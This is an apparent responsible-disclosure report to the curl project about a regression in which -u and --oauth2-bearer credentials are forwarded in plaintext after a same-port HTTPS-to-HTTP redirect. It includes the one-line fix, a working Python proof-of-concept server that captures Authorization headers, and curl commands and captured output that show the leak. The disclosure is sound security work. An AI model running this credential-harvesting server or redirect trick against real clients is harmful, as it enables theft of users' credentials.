curl · Report #3733946
Credentials forwarded to HTTP after HTTPS→HTTP same-port redirect — url_set_data_creds uses scheme-blind comparator
How it was found
Hi all,
The recent creds: hold credentials refactor — commit 8f71d0fde5 (2026-05-11) (https://github.com/curl/curl/commit/8f71d0fde5) — introduced a credential-leak regression on HTTPS→HTTP same-port redirects. -u user:pass and --oauth2-bearer both end up in cleartext after a 302 from https://h:N/ to http://h:N/....
The short version: url_set_data_creds (lib/url.c:1428-1491) decides whether OPT credentials survive into a redirected request by comparing the new origin against data->state.initial_origin. The comparator is Curl_peer_same_destination (lib/peer.c:333-341), which compares port + hostname + scopeid + zoneid — but not scheme. The scheme-aware comparator Curl_peer_equal (lib/peer.c:313-319) lives right next door and is used by every other auth gate (Curl_auth_allowed_to_host at lib/vauth/vauth.c:140-144, the custom Host: gate at lib/http.c:1997-1999). The two are identical except for the p1->scheme == p2->scheme line.
Before 8f71d0fde5, gating ran through Curl_auth_allowed_to_host and explicit Curl_peer_equal(...) checks. The refactor consolidated everything onto data->state.creds being cleared on cross-origin, and the chokepoint that's supposed to do the clearing uses the wrong (scheme-blind) comparator. The patch is one identifier:
- Curl_peer_same_destination(data->state.initial_origin, conn->origin))) {
+ Curl_peer_equal(data->state.initial_origin, conn->origin))) {
Reproducer needs a single-port server that speaks both HTTPS and HTTP. MSG_PEEK decides which based on the first byte: if the first byte is 0x16 (TLS ClientHello), wrap the socket in TLS and reply with a 302 to http://victim.test:9443/secret; otherwise treat the connection as plain HTTP, capture the request, and look for Authorization:.
Server (server.py):
#!/usr/bin/env python3
"""
PoC malicious server for F3 (HTTPS->HTTP scheme downgrade credential leak).
Listens on 127.0.0.1:9443. Uses MSG_PEEK to detect TLS (first byte 0x16 =
ClientHello) vs plain TCP. For TLS, wraps the socket, returns a 302 to
http://victim.test:9443/secret. For plain TCP, captures the entire request
and prints it; if it contains an "Authorization:" header, the bug is proven.
"""
import socket
import ssl
import sys
import threading
import time
HOST = "127.0.0.1"
PORT = 9443
CERT = "/tmp/poc-f3/cert.pem"
KEY = "/tmp/poc-f3/key.pem"
REDIRECT = (
"HTTP/1.1 302 Found\r\n"
"Location: http://victim.test:9443/secret\r\n"
"Connection: close\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
PLAIN_RESPONSE = (
"HTTP/1.1 200 OK\r\n"
"Content-Length: 2\r\n"
"Connection: close\r\n"
"\r\n"
"ok"
)
def read_request(sock):
buf = b""
sock.settimeout(3.0)
while b"\r\n\r\n" not in buf and len(buf) < 65536:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
return buf
def handle(client):
try:
head = client.recv(1, socket.MSG_PEEK)
if not head:
client.close()
return
if head == b"\x16":
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain(CERT, KEY)
tls = ctx.wrap_socket(client, server_side=True)
req = read_request(tls)
sys.stdout.write("\n========== TLS REQUEST (over HTTPS) ==========\n")
sys.stdout.write(req.decode("latin-1", "replace"))
sys.stdout.write("==============================================\n")
sys.stdout.flush()
try:
tls.sendall(REDIRECT.encode("ascii"))
tls.unwrap()
except OSError:
pass
tls.close()
else:
req = read_request(client)
sys.stdout.write("\n########## PLAIN HTTP REQUEST (post-redirect) ##########\n")
sys.stdout.write(req.decode("latin-1", "replace"))
sys.stdout.write("########################################################\n")
low = req.lower()
if b"authorization:" in low:
sys.stdout.write("[server] !!! LEAK CONFIRMED: Authorization header present in plaintext.\n")
else:
sys.stdout.write("[server] no Authorization header captured.\n")
sys.stdout.flush()
client.sendall(PLAIN_RESPONSE.encode("ascii"))
client.close()
except Exception as e:
print(f"[server] handler error: {e}", flush=True)
try:
client.close()
except Exception:
pass
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(8)
print(f"[server] listening on {HOST}:{PORT}", flush=True)
s.settimeout(30.0)
end = time.time() + 25.0
while time.time() < end:
try:
client, addr = s.accept()
except socket.timeout:
break
t = threading.Thread(target=handle, args=(client,), daemon=True)
t.start()
s.close()
if __name__ == "__main__":
main()
Self-signed cert (one-shot):
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-subj '/CN=victim.test' \
-keyout /tmp/poc-f3/key.pem -out /tmp/poc-f3/cert.pem
Case 1: -u user:pass:
python3 server.py &
curl -v -L -u user:pass -k \
--resolve victim.test:9443:127.0.0.1 \
https://victim.test:9443/
Server captures (verbatim, both phases):
[server] listening on 127.0.0.1:9443
========== TLS REQUEST (over HTTPS) ==========
GET / HTTP/1.1
Host: victim.test:9443
Authorization: Basic dXNlcjpwYXNz
User-Agent: curl/8.21.0-DEV
Accept: */*
==============================================
########## PLAIN HTTP REQUEST (post-redirect) ##########
GET /secret HTTP/1.1
Host: victim.test:9443
Authorization: Basic dXNlcjpwYXNz
User-Agent: curl/8.21.0-DEV
Accept: */*
########################################################
[server] !!! LEAK CONFIRMED: Authorization header present in plaintext.
dXNlcjpwYXNz is base64("user:pass") — the credential survives the HTTPS→HTTP downgrade. curl's own verbose output corroborates:
> GET / HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
< HTTP/1.1 302 Found
< Location: http://victim.test:9443/secret
* Issue another request to this URL: 'http://victim.test:9443/secret'
> GET /secret HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
< HTTP/1.1 200 OK
Case 2: --oauth2-bearer xyz — same path (the token lands in data->set.str[STRING_BEARER], gated by the same predicate):
curl -v -L --oauth2-bearer xyz -k \
--resolve victim.test:9443:127.0.0.1 \
https://victim.test:9443/
Captured:
========== TLS REQUEST (over HTTPS) ==========
GET / HTTP/1.1
Host: victim.test:9443
Authorization: Bearer xyz
...
==============================================
########## PLAIN HTTP REQUEST (post-redirect) ##########
GET /secret HTTP/1.1
Host: victim.test:9443
Authorization: Bearer xyz
...
########################################################
[server] !!! LEAK CONFIRMED: Authorization header present in plaintext.
For comparison, -H "Authorization: Bearer xyz" over the same redirect does not leak — that's a separate code path that already strips on cross-origin. And a port-mismatched redirect (https:9443 → http:8888) doesn't leak either, because Curl_peer_same_destination does compare ports. So the bug requires the redirect to land on the same host and port with only the scheme changing — which means default-port HTTPS→HTTP (443/80) is not affected, but non-default-port deployments serving both schemes (dev/staging on 8443, mixed reverse-proxy listeners), and any case where an attacker controls the Location: value, are.
Same family as CVE-2022-27774 / CVE-2024-11053.
FYI, I was interested in why this wasn't picked up by tests. It seems the existing "cross-protocol redirect strips credentials" tests — test973, test975, test779, test795 and friends — are broken and don't actually do what we want them to do, as far as I can tell. They each redirect from http:// to a different scheme (ftp/imap), but because each protocol's port macro (%HTTPPORT, %FTPPORT, %IMAPPORT) is a different number, the redirect always changes both port and scheme. The credential-stripping logic short-circuits on the port mismatch and never gets to the scheme check, so if you deleted the p1->scheme == p2->scheme line from Curl_peer_equal outright, all of these still pass green. Which is roughly what happened in 8f71d0fde5 — the comparator got swapped to a scheme-blind one and nothing in the suite noticed. The scheme leg of that comparison has effectively been dead code from CI's point of view for years. Worth fixing alongside F3, otherwise the next regression here will be just as invisible.
Cheers, Joshua
Impact
On a redirect from https://host:N/ to http://host:N/, libcurl forwards Authorization credentials in plaintext because the cross-origin check uses a scheme-blind comparator (Curl_peer_same_destination) instead of the scheme-aware one (Curl_peer_equal) used everywhere else — any attacker who controls the Location: header value on a non-default-port server, or any MITM on the first hop, can harvest credentials by redirecting to the same host and port over plain HTTP.